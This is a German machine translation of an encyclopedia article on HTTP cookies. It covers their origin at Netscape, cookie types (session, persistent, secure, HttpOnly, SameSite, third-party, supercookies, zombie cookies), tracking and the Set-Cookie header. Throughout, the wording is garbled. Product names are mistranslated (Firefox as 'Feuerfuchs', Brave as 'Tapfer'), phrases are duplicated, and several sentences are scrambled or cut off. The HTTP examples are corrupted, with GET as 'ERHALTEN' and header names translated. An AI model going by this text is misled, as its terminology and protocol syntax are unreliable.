HTTP cookie

HTTP -Kekse (auch genannt Web Cookies, Internetkekse, Browser -Kekse, oder einfach Kekse) sind kleine Blöcke von Daten Erstellt von a Webserver während ein Benutzer ist Surfen a Webseite und auf dem Computer des Benutzers oder eines anderen Geräts vom Benutzer platziert Webbrowser. Cookies werden auf dem Gerät platziert, das zum Zugriff auf eine Website verwendet wird, und während einer Sitzung kann mehr als ein Cookie auf das Gerät eines Benutzers platziert werden.

Cookies dienen nützlichen und manchmal wesentlichen Funktionen auf der Netz. Sie ermöglichen Webservern das Speichern Staatsbürgerlich Informationen (wie Artikel im Einkaufswagen in einem hinzugefügt Online-Shop) auf dem Gerät des Benutzers oder um die Browseraktivität des Benutzers zu verfolgen (einschließlich Klicken auf bestimmte Schaltflächen, Einloggen, oder aufzeichnen welche Seiten wurden in der Vergangenheit besucht).[1] Sie können auch verwendet werden, um für nachfolgende Verwendungsinformationen zu speichern, die der Benutzer zuvor eingegeben hat Formfelder, wie Namen, Adressen, Passwörter, und Zahlungskartennummern.

Authentifizierung Cookies werden üblicherweise von Webservern verwendet authentifizieren dass ein Benutzer angemeldet ist und mit denen Konto Sie sind angemeldet. Ohne das Cookie müssten sich Benutzer authentifizieren, indem sie auf jeder Seite anmelden, die vertrauliche Informationen enthält, auf die sie zugreifen möchten. Die Sicherheit eines Authentifizierungs -Cookies hängt im Allgemeinen von der Sicherheit der ausstellenden Website und des Benutzers ab Webbrowser, und ob die Cookie -Daten sind verschlüsselt. Sicherheitslücken kann zulassen, dass die Daten eines Cookies von einem gelesen werden Angreifer, verwendet, um Zugang zu erhalten zu erhalten Benutzerdatenoder verwendet, um Zugriff (mit den Anmeldeinformationen des Benutzers) auf die Website zu erhalten, zu der das Cookie gehört (siehe Cross-Site-Scripting und Cross-Site-Anfragefälschung zum Beispiel).[2]

Tracking cookies, und speziell Verfolgung von Keksen von Drittanbietern, werden üblicherweise als Möglichkeiten verwendet, um langfristige Aufzeichnungen von Einzelpersonen zu erstellen. ' Durchsuchen der Geschichten - Ein Potenzial Datenschutz-Bedenken Das veranlasste Europäer[3] und US -amerikanische Gesetzgeber, um 2011 Maßnahmen zu ergreifen.[4][5] Das europäische Recht verlangt, dass alle Websites gegeneinander antreten europäische Union Mitgliedstaaten gewinnen "Einverständniserklärung"Von Benutzern, bevor nicht wesentliche Cookies auf ihrem Gerät gespeichert werden.

Hintergrund

HTTP -Cookies teilen ihren Namen mit Ein beliebter Backwecker.

Ursprung des Namens

Der Begriff "Cookie" wurde vom Webbrowser-Programmierer geprägt Lou Montulli. Es wurde aus dem Begriff abgeleitet "Magic Cookie", das ein Datenpaket ist, das ein Programm erhält und die unverändert zurücksendet, verwendet von von Unix Programmierer.[6][7] Der Begriff Magic Cookie selbst leitet sich aus dem ab Glückskeks, was ein Keks mit einer eingebetteten Nachricht ist.[8]

Geschichte

Zauber Cookies wurden bereits beim Computerprogrammierer verwendet Lou Montulli hatte die Idee, sie im Juni 1994 in Webkommunikation zu verwenden.[9] Zu dieser Zeit war er Angestellter von Netscape Communications, was entwickelte eine E-Commerce Bewerbung für MCI. Vint Cerf und John Klensin vertreten MCI in technischen Diskussionen mit Netscape Communications. MCI wollte nicht, dass seine Server teilweise Transaktionszustände behalten müssen, wodurch sie Netscape bitten mussten, einen Weg zu finden, diesen Status stattdessen auf dem Computer jedes Benutzers zu speichern. Cookies lieferten eine Lösung für das Problem der zuverlässigen Implementierung a Virtueller Einkaufswagen.[10][11]

Zusammen mit John Giannandrea schrieb Montulli im selben Jahr die erste Netscape -Cookie -Spezifikation. Version 0.9beta von Mosaiknetslandschaft, veröffentlicht am 13. Oktober 1994,[12][13] Unterstützte Kekse.[14] Die erste Verwendung von Cookies (aus den Labors) war die Überprüfung, ob Besucher der Netscape -Website die Website bereits besucht hatten. Montulli beantragte 1995 ein Patent für die Cookie -Technologie, das 1998 gewährt wurde.[15] Die Unterstützung für Cookies wurde in integriert in integriert Internet Explorer in Version 2, veröffentlicht im Oktober 1995.[16]

Die Einführung von Cookies war der Öffentlichkeit zu dieser Zeit nicht allgemein bekannt. Insbesondere wurden Cookies standardmäßig akzeptiert, und die Benutzer wurden nicht über ihre Anwesenheit informiert. Die Öffentlichkeit lernte nach dem von Keksen Finanzzeiten veröffentlichte am 12. Februar 1996 einen Artikel darüber.[17] Im selben Jahr erhielten Cookies viel Aufmerksamkeit in den Medien, insbesondere aufgrund potenzieller Auswirkungen auf die Privatsphäre. Kekse wurden in zwei USA diskutiert Federal Trade Commission Anhörungen in den Jahren 1996 und 1997.[2]

Die Entwicklung der formellen Keksspezifikationen war bereits noch nicht abgeschlossen. Insbesondere die ersten Diskussionen über eine formelle Spezifikation begannen im April 1995 auf dem WWW-Talk Mailingliste. Eine besondere Arbeitsgruppe innerhalb der Internettechnik-Arbeitsgruppe (IETF) wurde gebildet. Zwei alternative Vorschläge zur Einführung des Zustands in HTTP -Transaktionen wurden von vorgeschlagen Brian Behlendorf und David Kristol. Aber die Gruppe unter der Leitung von Kristol selbst und Lou Montulli beschloss bald, die Netscape -Spezifikation als Ausgangspunkt zu verwenden. Im Februar 1996 identifizierte die Arbeitsgruppe Cookies von Drittanbietern als beträchtliche Datenschutzbedrohung. Die von der Gruppe erstellte Spezifikation wurde schließlich im Februar 1997 als RFC 2109 veröffentlicht. Sie gibt an, dass Drittkekse entweder überhaupt nicht zulässig waren oder zumindest standardmäßig nicht aktiviert wurden.[18]

Zu diesem Zeitpunkt verwendeten Werbebergen bereits Cookies von Drittanbietern. Auf die Empfehlung von RFC 2109-Cookies von Drittanbietern folgte Netscape und Internet Explorer nicht. RFC 2109 wurde im Oktober 2000 von RFC 2965 abgelöst.

RFC 2965 fügte a hinzu Set-Cookie2 Headerfeld, die informell als "RFC 2965 Cookies" bezeichnet wurde, im Gegensatz zum Original Set-Cookie Headerfeld, das als "Netscape-Kekse" bezeichnet wurde.[19][20] Set-Cookie2 wurde jedoch selten verwendet und war war und war veraltet in RFC 6265 im April 2011, das als endgültige Spezifikation für Cookies geschrieben wurde, wie sie in der realen Welt verwendet wurde.[21] Kein moderner Browser erkennt das Set-Cookie2 Headerfeld.[22]

Terminologie

Session Cookie

A Session Cookie (auch als ein bekannt als ein In-Memory-Keks, vorübergehender Keks oder Nicht-persistentes Keks) existiert nur im temporären Speicher, während der Benutzer eine Website navigiert.[23] Session Cookies verfallen oder werden gelöscht, wenn der Benutzer den Webbrowser schließt.[24] Session Cookies werden vom Browser durch das Fehlen eines ihnen zugewiesenen Ablaufdatums identifiziert.

Anhaltender Keks

A anhaltender Keks läuft zu einem bestimmten Zeitpunkt oder nach einer bestimmten Zeitdauer ab. Für die Lebensdauer des persistenten Cookies, die von seinem Ersteller festgelegt wird ).

Aus diesem Grund werden anhaltende Kekse manchmal als bezeichnet Tracking cookies Weil sie von Werbetreibenden verwendet werden können, um Informationen über die Web -Browsing -Gewohnheiten eines Benutzers über einen längeren Zeitraum aufzuzeichnen. Sie werden jedoch auch aus "legitimen" Gründen verwendet (z. B. auf Websites angemeldet, um Benutzer in ihren Konten angemeldet zu halten, um bei jedem Besuch wieder auf Anmeldeinformationen einzutreten).

Sichern Sie Cookie

A sichern Sie Cookie kann nur über eine verschlüsselte Verbindung übertragen werden (d.h. Https). Sie können nicht über unverschlüsselte Verbindungen übertragen werden (d. H. Http). Dies macht den Keks weniger wahrscheinlich, dass er dem Keksdiebstahl über ausgesetzt ist lauschen. Ein Keks wird durch Hinzufügen des Hinzufügens gesichert Sicher Flagge zum Keks.

HTTP-nur Cookie

Ein HTTP-nur Cookie kann nicht von clientseitigen APIs zugegriffen werden, wie z. JavaScript. Diese Einschränkung beseitigt die Gefahr eines Keksdiebstahls durch Cross-Site-Scripting (Xss). Der Keks bleibt jedoch anfällig für Cross-Site-Verfolgung (Xst) und Cross-Site-Anfragefälschung (CSRF) Angriffe. Ein Cookie erhält dieses Merkmal durch Hinzufügen des Httponly Flagge zum Keks.

Keks desselben Standorts

2016 Google Chrome Version 51 eingeführt[25] eine neue Art von Keks mit Attribut Samesit. Das Attribut Samesit kann einen Wert von haben Strikt, Lax oder Keiner.[26] Mit Attribut Samesit = strengDie Browser schicken nur Cookies an eine Zieldomäne, die der Ursprungsdomäne entspricht. Dies würde effektiv mildern Cross-Site-Anfragefälschung (CSRF) Angriffe.[27] Mit Samesit = laxBrowser senden Cookies mit Anfragen an eine Zieldomäne, auch wenn sie sich von der Ursprungsdomäne unterscheidet, aber nur für sicher Anfragen wie GET (Post ist unsicher) und nicht Cookies von Drittanbietern (innerhalb von Iframe). Attribut Samesit = keine Würde Kekse von Drittanbietern (Cross-Site) ermöglichen, die meisten Browser benötigen jedoch Sicheres Attribut auf samesit = Keine Cookies.[28]

Das gleiche-seiten-Keks ist in integriert Ein neuer RFC -Entwurf für "Cookies: HTTP State Management Mechanismus" So aktualisieren Sie RFC 6265 (falls genehmigt).

Chrome, Firefox, Microsoft Edge begann alle Cookies gleichstelle.[29] Der Schlüssel der Rollout ist die Behandlung vorhandener Cookies ohne das definierte Samesit -Attribut. Chrome hat diese vorhandenen Cookies so behandelt, als ob samesit = keine, dies würde alle Website/Anwendungen wie zuvor ausgeführt. Google beabsichtigte, diese Standardeinstellung im Februar 2020 an samesit = lax zu ändern.[30] Die Änderung würde diese Anwendungen/Websites brechen, die auf Cookies von Drittanbietern/Cross-Site-Site beruhen, jedoch ohne samesit-Attribut definiert. Angesichts der umfangreichen Änderungen für Webentwickler und COVID-19 Umstände, Google hat die Samesit Cookie -Änderung vorübergehend zurückgeworfen.[31]

Keks von Drittanbietern

Normalerweise stimmt das Domain -Attribut eines Cookies mit der Domain überein, die in der Adressleiste des Webbrowsers angezeigt wird. Dies wird a genannt Erstanbieter-Keks. EIN Keks von Drittanbieterngehört jedoch zu einer Domäne, die sich von der in der Adressleiste gezeigten Domäne unterscheidet. Diese Art von Cookie wird normalerweise angezeigt, wenn Webseiten Inhalte von externen Websites enthalten, wie z. B. Bannerwerbung. Dies eröffnet das Potenzial für Verfolgung Der Browserverlauf des Benutzers und wird häufig von Werbetreibenden verwendet Relevante Anzeigen servieren an jeden Benutzer.

Nehmen wir beispielsweise an, ein Benutzer besucht www.example.org. Diese Website enthält eine Anzeige von ad.foxytracking.com, was beim Herunterladen ein Cookie setzt, das zur Domain der Werbung gehört (ad.foxytracking.com). Dann besucht der Benutzer eine andere Website, www.foo.com, was auch eine Anzeige von enthält ad.foxytracking.com und setzt einen Keks zu dieser Domäne (ad.foxytracking.com). Schließlich werden diese beiden Cookies beim Laden ihrer Anzeigen oder zum Besuch ihrer Website an den Werbetreibenden gesendet. Der Werbetreibende kann diese Cookies dann verwenden, um einen Browserhistorie des Benutzers auf allen Websites aufzubauen, die Anzeigen von diesem Werbetreibenden haben, durch die Verwendung der HTTP Referer Headerfeld.

Ab 2014Einige Websites setzten Cookies für über 100 Domänen von Drittanbietern lesbar.[32] Im Durchschnitt setzte eine einzige Website 10 Cookies ein, wobei eine maximale Anzahl von Cookies (First- und Drittanbieter) über 800 erreichte.[33]

Die meisten modernen Webbrowser enthalten Datenschutzeinstellungen das kann Block Kekse von Drittanbietern, und einige blockieren nun standardmäßig alle Drittkekse-ab Juli 2020 enthalten solche Browser Apfelsafari,[34] Feuerfuchs,[35] und Tapfer.[36] Mit Safari können eingebettete Websites die Speicher-Access-API verwenden, um die Berechtigung zum Festlegen von Erst-Anbieter-Cookies aufzufordern. Im Mai 2020, Google Chrome Einführte neue Funktionen, um die Cookies von Drittanbietern standardmäßig im Inkognito-Modus für das private Surfen zu blockieren, wodurch das Blockieren beim normalen Browsen optional ist. Das gleiche Update fügte auch die Option zum Blockieren von Cookies von Erstanbietern hinzu.[37] Chrome plant, standardmäßig 2023 Cookies von Drittanbietern zu blockieren.[38]

Supercookie

A Supercookie ist ein Keks mit einem Ursprung von a Top-Level-Domain (wie zum Beispiel .com) oder ein öffentliches Suffix (wie z. .co.uk). Im Gegensatz dazu haben gewöhnliche Kekse einen Ursprung eines bestimmten Domain -Namens, wie z. Beispiel.com.

Superkoten können ein potenzielles Sicherheitsbedenken sein und werden daher häufig von Webbrowsern blockiert. Wenn der Browser entsperren wird, könnte ein Angreifer, der eine böswillige Website kontrolliert, einen Supercookie festlegen und möglicherweise legitime Benutzeranfragen auf eine andere Website stören oder ausgeben, auf der die gleiche Domain oder das öffentliche Suffix der obersten Ebene wie die böswillige Website teilt. Zum Beispiel ein Supercookie mit einem Ursprung von .com, könnte eine Anfrage böswillig beeinflussen Beispiel.com, auch wenn der Keks nicht stammte Beispiel.com. Dies kann verwendet werden, um Anmeldungen zu fälschen oder Benutzerinformationen zu ändern.

Das Öffentliche Suffixliste[39] Hilft, das Risiko zu mildern, das Superkoten darstellen. Die Liste der öffentlichen Suffix ist eine zeigende Initiative, die darauf abzielt, eine genaue und aktuelle Liste von Domain-Namensuffixen zu erstellen. Ältere Versionen von Browsern haben möglicherweise keine aktuelle Liste und sind daher anfällig für Superkoten aus bestimmten Domänen.

Andere Verwendungen

Der Begriff "Supercookie" wird manchmal für die Verfolgung von Technologien verwendet, die nicht auf HTTP -Cookies beruhen. Im August 2011 wurden zwei solcher "Supercookie" -Mechanismen auf Microsoft -Websites gefunden: Cookie -Synchronisierung dieser Cookies von Muid (Machine Unique Identifier) ​​und synchronisiert, und Cookies, die respawiert wurden (Maschinelligale Identifikatorin), und Cookies synchronisiert, und Cookies, die muid (maschinell einzigartige Identifikator ETAG Kekse.[40] Aufgrund der Aufmerksamkeit der Medien deaktivierte Microsoft diesen Code später.[41] In einem Blog -Beitrag von 2021 verwendete Mozilla den Begriff "Supercookie", um sich zu beziehen Die Verwendung von Browser -Cache als Mittel, um Benutzer über Websites hinweg zu verfolgen.[42]

Zombie cookie

Hauptartikel: Zombie cookie und Evercookie

A Zombie -Keks ist Daten und Code, der von a platziert wurde Webserver Auf dem Computer eines Besuchers oder eines anderen Geräts an einem versteckten Ort außerhalb des Besuchers WebbrowserDer spezielle Cookie -Speicherort, und das wird automatisch ein HTTP -Keks als normales Keks nach dem Löschen des Originalkeks nachgebildet. Der Zombie -Keks kann an mehreren Orten aufbewahrt werden, wie z. Flash Local Shared Objekt, HTML5 -Webspeicherund andere clientseitige und sogar serverseitige Standorte und wenn die Abwesenheit des Cookies erkannt wird,[Klarstellung erforderlich] Der Keks wird nachgebaut[Klarstellung erforderlich] Verwenden der an diesen Stellen gespeicherten Daten.[43][44]

Kekswand

Eine Cookie -Wall -Wall taucht auf einer Website auf und informiert den Benutzer über die Cookie -Nutzung der Website. Es hat keine Ablehnungsoption, und die Website ist nicht zugänglich, ohne Cookies zu verfolgen.

Struktur

Ein Keks besteht aus den folgenden Komponenten:[45][46][47]

  1. Name
  2. Wert
  3. Null oder mehr Attribute (Name/Wertpaare). Attribute speichern Informationen wie Ablauf, Domäne und Flaggen des Cookies (wie z. Sicher und Httponly).

Verwendet

Sitzungsmanagement

Cookies wurden ursprünglich eingeführt, um den Benutzern die Möglichkeit zu geben, Artikel aufzuzeichnen, die sie kaufen möchten, wenn sie auf einer Website (einem virtuellen "Einkaufswagen" oder "Einkaufskorb") navigieren.[10][11] Heutzutage wird der Inhalt des Einkaufswagens eines Benutzers normalerweise in einer Datenbank auf dem Server und nicht in einem Cookie auf dem Client gespeichert. Um den Überblick zu behalten, welcher Benutzer zugewiesen ist, welcher Einkaufswagen zugewiesen ist, sendet der Server ein Cookie an den Client, der a enthält Eindeutige Sitzungskennung (Typischerweise eine lange Reihe von zufälligen Buchstaben und Zahlen). Da Cookies mit jeder Anforderung, die der Client macht, an den Server gesendet werden, wird diese Sitzungskennung jedes Mal, wenn der Benutzer eine neue Seite auf der Website besucht, an den Server zurückgesendet, wodurch der Server den Einkaufswagen für den Benutzer angezeigt wird.

Eine weitere beliebte Verwendung von Cookies ist die Anmeldung auf Websites. Wenn der Benutzer die Anmeldeseite einer Website besucht, sendet der Webserver dem Client normalerweise ein Cookie mit einer eindeutigen Sitzungskennung. Wenn sich der Benutzer erfolgreich anmeldet, erinnert sich der Server, dass diese bestimmte Sitzungskennung authentifiziert wurde und dem Benutzerzugriff auf seine Dienste gewährt.

Da Sitzungscookies nur eine eindeutige Sitzungskennung enthalten, ist dies die Menge an persönlichen Informationen, die eine Website für jeden Benutzer praktisch grenzenlos sparen kann. Die Website ist nicht auf Beschränkungen beschränkt, wie groß ein Cookie sein kann. Session Cookies helfen auch bei der Verbesserung der Seitenladezeiten, da die Menge an Informationen in einem Sitzungs -Cookie klein ist und wenig Bandbreite erfordert.

Personalisierung

Cookies können verwendet werden, um Informationen über den Benutzer zu erinnern, um diesem Benutzer im Laufe der Zeit relevante Inhalte anzuzeigen. Ein Webserver kann beispielsweise ein Cookie senden, das den Benutzernamen enthält, der zuletzt zum Anmelden auf einer Website verwendet wurde, damit er beim nächsten Mal automatisch ausgefüllt wird.

Viele Websites verwenden Cookies für die Personalisierung basierend auf den Einstellungen des Benutzers. Benutzer wählen ihre Einstellungen aus, indem sie sie in ein Webformular eingeben und das Formular an den Server senden. Der Server codiert die Einstellungen in einem Cookie und sendet den Cookie zurück an den Browser. Auf diese Weise kann der Server jedes Mal, wenn der Benutzer auf eine Seite auf der Website zugreift, die Seite entsprechend den Einstellungen des Benutzers personalisieren. Zum Beispiel die Google Suchmaschine benutzte einmal Cookies, damit Benutzer (auch nicht registrierte) entscheiden können, wie viele Suchergebnisse pro Seite sie sehen wollten. Ebenfalls, Duckduckgo Verwendet Cookies, um Benutzern die Anzeigeneinstellungen wie Farben der Webseite festzulegen.

Verfolgung

Siehe auch: Webverfolgung

Nachverfolgung von Cookies werden verwendet, um die Web -Browsing -Gewohnheiten der Benutzer zu verfolgen. Dies kann auch bis zu einem gewissen Grad durchgeführt werden IP Adresse des Computers, der die Seite oder die anfordern Referer Feld der Http Anfrage Header, aber Cookies ermöglichen eine größere Präzision. Dies kann wie folgt demonstriert werden:

  1. Wenn der Benutzer eine Seite der Website anfordert, die Anforderung jedoch kein Cookie enthält, geht der Server davon aus, dass dies die erste vom Benutzer besuchte Seite ist. Daher erstellt der Server eine eindeutige Kennung (normalerweise eine Reihe von zufälligen Buchstaben und Zahlen) und sendet ihn zusammen mit der angeforderten Seite als Cookie zum Browser zurück.
  2. Ab diesem Zeitpunkt wird das Cookie jedes Mal, wenn eine neue Seite von der Website angefordert wird, automatisch vom Browser an den Server gesendet. Der Server sendet die Seite nicht nur wie üblich, sondern speichert auch die URL der angeforderten Seite, das Datum/die Uhrzeit der Anforderung und das Cookie in einer Protokolldatei.

Durch die Analyse dieser Protokolldatei ist es möglich herauszufinden, welche Seiten der Benutzer besucht hat, in welcher Reihenfolge und wie lange.

Unternehmen nutzen die Webgewohnheiten von Benutzern, indem sie Cookies verfolgen, um Informationen über Kaufgewohnheiten zu sammeln. Das Wallstreet Journal fanden heraus, dass Amerikas Top-Fünfzig-Websites durchschnittlich vierundsechzig Tracking-Technologien auf Computern installiert haben, was zu insgesamt 3.180 Tracking-Dateien führte.[48] Die Daten können dann gesammelt und an Bieterunternehmen verkauft werden.

Implementierung

Eine mögliche Interaktion zwischen einem Webbrowser und einem Webserver, der eine Webseite hält, auf der der Server einen Cookie an den Browser sendet, und der Browser sendet ihn bei Anfordern einer anderen Seite zurück.

Cookies sind willkürliche Datenstücke, die normalerweise vom Webserver ausgewählt und zuerst gesendet werden und vom Webbrowser auf dem Client -Computer gespeichert werden. Der Browser sendet sie dann mit jeder Anfrage zum Server zurück und führt ein Zustände (Speicher früherer Ereignisse) in ansonsten staatenlose Http Transaktionen. Ohne Kekse jedes Abruf von a Website oder eine Komponente einer Webseite wäre ein isoliertes Ereignis, das weitgehend nicht mit allen anderen Seitenansichten des Benutzers auf der Website zu tun hat. Obwohl Cookies normalerweise vom Webserver festgelegt werden, können sie auch vom Client über eine Skriptsprache wie z. B. festgelegt werden JavaScript (Es sei denn, der Keks ist Httponly Flag wird gesetzt, in diesem Fall kann das Cookie nicht durch Skriptsprachen geändert werden).

Die Cookie -Spezifikationen[49][50] Fordern Sie, dass Browser die folgenden Anforderungen erfüllen, um Cookies zu unterstützen:

  • Kann Cookies von bis zu 4.096 unterstützen Bytes in Größe.
  • Kann mindestens 50 Cookies pro unterstützen Domain (d. h. pro Website).
  • Kann insgesamt mindestens 3.000 Kekse unterstützen.

Einstellen eines Keks

Cookies werden mit dem eingestellt Set-Cookie Headerfeld, gesendet in einer HTTP -Antwort vom Webserver. Dieses Header -Feld weist den Webbrowser an, das Cookie zu speichern und in zukünftigen Anfragen an den Server zurück zu senden (der Browser ignoriert dieses Header -Feld, wenn es keine Cookies unterstützt oder deaktivierte Cookies hat).

Als Beispiel sendet der Browser seine erste HTTP -Anfrage für die Homepage der www.example.org Webseite:

ERHALTEN /Idex.html Http/1.1 Gastgeber: www.example.org ...

Der Server reagiert mit zwei Set-Cookie Headerfelder:

Http/1.0 200 OK Inhaltstyp: Text/HTML Set-Cookie: Thema = Licht Set-Cookie: SessionToken = ABC123; Läuft ab = Mi, 09. Juni 2021 10:18:14 GMT ...

Die HTTP -Antwort des Servers enthält den Inhalt der Homepage der Website. Aber es weist auch den Browser an, zwei Kekse zu setzen. Das erste "Thema" gilt als a Session Cookie Da hat es keine Läuft ab oder Maximalalter Attribut. Session Cookies sollen vom Browser gelöscht werden, wenn der Browser schließt. Der zweite "SessionToken" wird als a angesehen anhaltender Keks Da enthält es eine Läuft ab Attribut, das den Browser anweist, das Cookie zu einem bestimmten Zeitpunkt und zu einer bestimmten Uhrzeit zu löschen.

Als nächstes sendet der Browser eine weitere Anfrage, um die zu besuchen Spec.html Seite auf der Website. Diese Anfrage enthält a Plätzchen Headerfeld, das die beiden Cookies enthält, die der Server den Browser angewiesen hat, festzulegen:

ERHALTEN /spec.html Http/1.1 Gastgeber: www.example.org Plätzchen: Thema = Licht; SessionToken = ABC123 …

Auf diese Weise weiß der Server, dass diese HTTP -Anforderung mit der vorherigen zusammenhängt. Der Server würde beantworten, indem er die angeforderte Seite sendet, möglicherweise einschließlich mehr Set-Cookie Headerfelder in der HTTP -Antwort, um den Browser anzuweisen, neue Cookies hinzuzufügen, vorhandene Cookies zu ändern oder vorhandene Cookies zu entfernen. Um einen Cookie zu entfernen, muss der Server a enthalten Set-Cookie Headerfeld mit einem Ablaufdatum in der Vergangenheit.

Der Wert eines Keks kann aus allen druckbaren bestehen ASCII Charakter (! durch ~, Unicode \ u0021 durch \ u007e) ausschließlich ,und; und Whitespace -Charaktere. Der Name eines Keks schließt sowohl dieselben Zeichen als auch aus =, da dies der Trennzeichen zwischen Name und Wert ist. Der Cookie Standard RFC 2965 ist restriktiver, aber von Browsern nicht implementiert.

Der Begriff "Cookie Crumb" wird manchmal verwendet, um sich auf das Namen eines Keks zu beziehen - Wert.[51]

Cookies können auch durch Skriptsprachen wie z. JavaScript Das läuft im Browser. In JavaScript das Objekt document.cookie wird für diesen Zweck verwendet. Zum Beispiel die Anweisung document.cookie = "Temperatur = 20" Erstellt ein Keks mit Namen "Temperatur" und Wert "20".[52]

Cookie -Attribute

Zusätzlich zu einem Namen und Wert können Cookies auch ein oder mehrere Attribute haben. Browser enthalten keine Cookie -Attribute in Anfragen an den Server - sie senden nur den Namen und den Wert des Cookies. Cookie -Attribute werden von Browsern verwendet, um zu bestimmen, wann ein Cookie gelöscht, ein Cookie blockiert oder ob ein Cookie an den Server gesendet wird.

Domäne und Pfad

Das Domain und Weg Attribute definieren den Umfang des Keks. Sie erzählen dem Browser im Wesentlichen, zu welcher Website das Cookie gehört. Aus Sicherheitsgründen können Cookies nur auf die Top -Domäne der aktuellen Ressource und ihre Subdomains und nicht auf eine andere Domäne und seine Subdomänen festgelegt werden. Zum Beispiel die Website Beispiel.org kann keinen Keks einstellen, der eine Domäne von hat foo.com Weil dies die Website erlauben würde Beispiel.org Um die Kekse der Domäne zu steuern foo.com.

Wenn ein Keks Domain und Weg Die Attribute werden vom Server nicht angegeben, sondern standardmäßig an der Domäne und dem Pfad der angeforderten Ressource.[53] In den meisten Browsern gibt es jedoch einen Unterschied zwischen einem Cookie -Set von foo.com ohne Domain und ein Keks -Set mit dem foo.com Domain. Im ersteren Fall wird der Cookie nur für Anfragen an gesendet foo.comauch als Cookie nur für Gastgeber bekannt. Im letzteren Fall sind auch alle Subdomänen enthalten (zum Beispiel, zum Beispiel, docs.foo.com).[54][55] Eine bemerkenswerte Ausnahme von dieser allgemeinen Regel ist Edge vor Windows 10 RS3 und Internet Explorer vor dem IE 11 und Windows 10 RS4 (April 2018), der immer Cookies in Subdomains sendet, unabhängig davon, ob der Cookie mit oder ohne Domäne festgelegt wurde.[56]

Unten ist ein Beispiel für einige Set-Cookie Headerfelder in der HTTP -Antwort einer Website, nachdem ein Benutzer angemeldet wurde. Die HTTP -Anfrage wurde an eine Webseite innerhalb der Seite gesendet docs.foo.com Subdomain:

Http/1.0 200 OK Set-Cookie: Lsid = dqaaak… eaem_vyg; Path =/konten; Verfällt = Mi, 13. Januar 2021 22:23:01 GMT; Sicher; Httponly Set-Cookie: Hsid = ayqevn… dkrdst; Domain = .foo.com; Path =/; Verfällt = Mi, 13. Januar 2021 22:23:01 GMT; Httponly Set-Cookie: Ssid = ap4p… gteq; Domain = foo.com; Path =/; Verfällt = Mi, 13. Januar 2021 22:23:01 GMT; Sicher; Httponly …

Der erste Keks, Lsid, hat kein Domain Attribut und hat a Weg Attribut festgelegt auf /Konten. Dies sagt dem Browser, dass er das Cookie nur verwenden soll, wenn Seiten angefordert werden docs.foo.com/accounts (Die Domäne wird aus der Anforderungsdomäne abgeleitet). Die anderen beiden Kekse, Hsid und SSIDwürde verwendet werden, wenn der Browser eine Subdomäne in Anfragen hat .foo.com auf jedem Weg (zum Beispiel www.foo.com/bar). Der Preping DOT ist in den jüngsten Standards optional, kann jedoch für Kompatibilität mit RFC 2109 -basierten Implementierungen hinzugefügt werden.[57]

Läuft ab und maximal

Das Läuft ab Das Attribut definiert ein bestimmtes Datum und eine bestimmte Uhrzeit, wenn der Browser das Cookie löschen soll. Datum und Uhrzeit sind im Formular angegeben Wdy, dd Mon Yyyy HH: MM: SS GMToder in der Form Wdy, dd Mon yy HH: MM: SS GMT Für Werte von YY, bei denen YY größer oder gleich 0 und weniger oder gleich 69 ist.[58]

Alternativ die Maximalalter Das Attribut kann verwendet werden, um den Ablauf des Cookies als ein Intervall von Sekunden in der Zukunft zu setzen, in Bezug auf die Zeit, in der der Browser den Cookie erhielt. Unten ist ein Beispiel von drei Set-Cookie Headerfelder, die von einer Website erhalten wurden, nachdem ein Benutzer angemeldet war:

Http/1.0 200 OK Set-Cookie: lu = rg3vhjznehyljvg7qi3bzjzg; Läuft = Di, 15. Januar 2013 21:47:38 GMT; Path =/; Domain = .example.com; Httponly Set-Cookie: Made_write_conn = 1295214458; Path =/; Domain = .example.com Set-Cookie: reg_fb_gate = deleted; Läuft ab = Do, 01. Januar 1970 00:00:01 GMT; Path =/; Domain = .example.com; Httponly

Der erste Keks, Lu, soll irgendwann am 15. Januar 2013 ablaufen. Der Client -Browser wird bis zu diesem Zeitpunkt verwendet. Der zweite Keks, Made_write_conn, hat kein Ablaufdatum und macht es zu einem Sitzungs -Cookie. Es wird gelöscht, nachdem der Benutzer seinen Browser geschlossen hat. Der dritte Keks, reg_fb_gatehat seinen Wert mit einer Ablaufzeit in der Vergangenheit in "gelöscht" geändert. Der Browser löscht diesen Keks sofort, da seine Ablaufzeit in der Vergangenheit ist. Beachten Sie, dass Cookie nur gelöscht wird, wenn die Domäne und die Pfadattribute in der Set-Cookie Das Feld übereinstimmt den verwendeten Werten, die beim Erstellen des Cookies verwendet wurden.

Ab 2016 Internet Explorer unterstützte nicht Maximalalter.[59][60]

Sicher und httpony

Das Sicher und Httponly Attribute haben keine zugeordneten Werte. Das Vorhandensein nur ihrer Attributnamen zeigt vielmehr an, dass ihr Verhalten aktiviert werden sollte.

Das Sicher Das Attribut soll die Cookie -Kommunikation auf verschlüsseltes Getriebe beschränkt und die Browser anweisen, Cookies nur über zu verwenden sicher/verschlüsselt Verbindungen. Wenn ein Webserver jedoch ein Cookie mit einem sicheren Attribut aus einer nicht sicheren Verbindung festlegt, kann das Cookie weiterhin abgefangen werden, wenn es an den Benutzer gesendet wird MAN-in-the-Middle-Angriffe. Für maximale Sicherheit sollten Cookies mit dem sicheren Attribut nur über eine sichere Verbindung eingestellt werden.

Das Httponly Attribut weist die Browser an, keine Cookies über andere Kanäle als HTTP- (und HTTPS) -Anfragen zu enthüllen. Dies bedeutet, dass auf das Cookie nicht über clientseitige Skriptsprachen zugegriffen werden kann JavaScript), und kann daher nicht leicht überstohlen werden Cross-Site-Scripting (Eine allgegenwärtige Angriffstechnik).[61]

Browsereinstellungen

Die meisten modernen Browser unterstützen Cookies und ermöglichen es dem Benutzer, sie zu deaktivieren. Die folgenden Optionen sind übliche Optionen:[62]

  • Kekse vollständig aktivieren oder deaktivieren, damit sie immer akzeptiert oder immer blockiert werden.
  • So anzeigen und selektiv Cookies mit einem Cookie -Manager zu löschen.
  • So wobei alle privaten Daten, einschließlich Cookies, vollständig gelöscht werden.

Es gibt auch Add-On-Tools zum Verwalten von Cookie-Berechtigungen.[63][64][65][66]

Kekse für Privatsphäre und Drittanbieter

Siehe auch: Nicht verfolgen und Webanalyse § Probleme mit Cookies

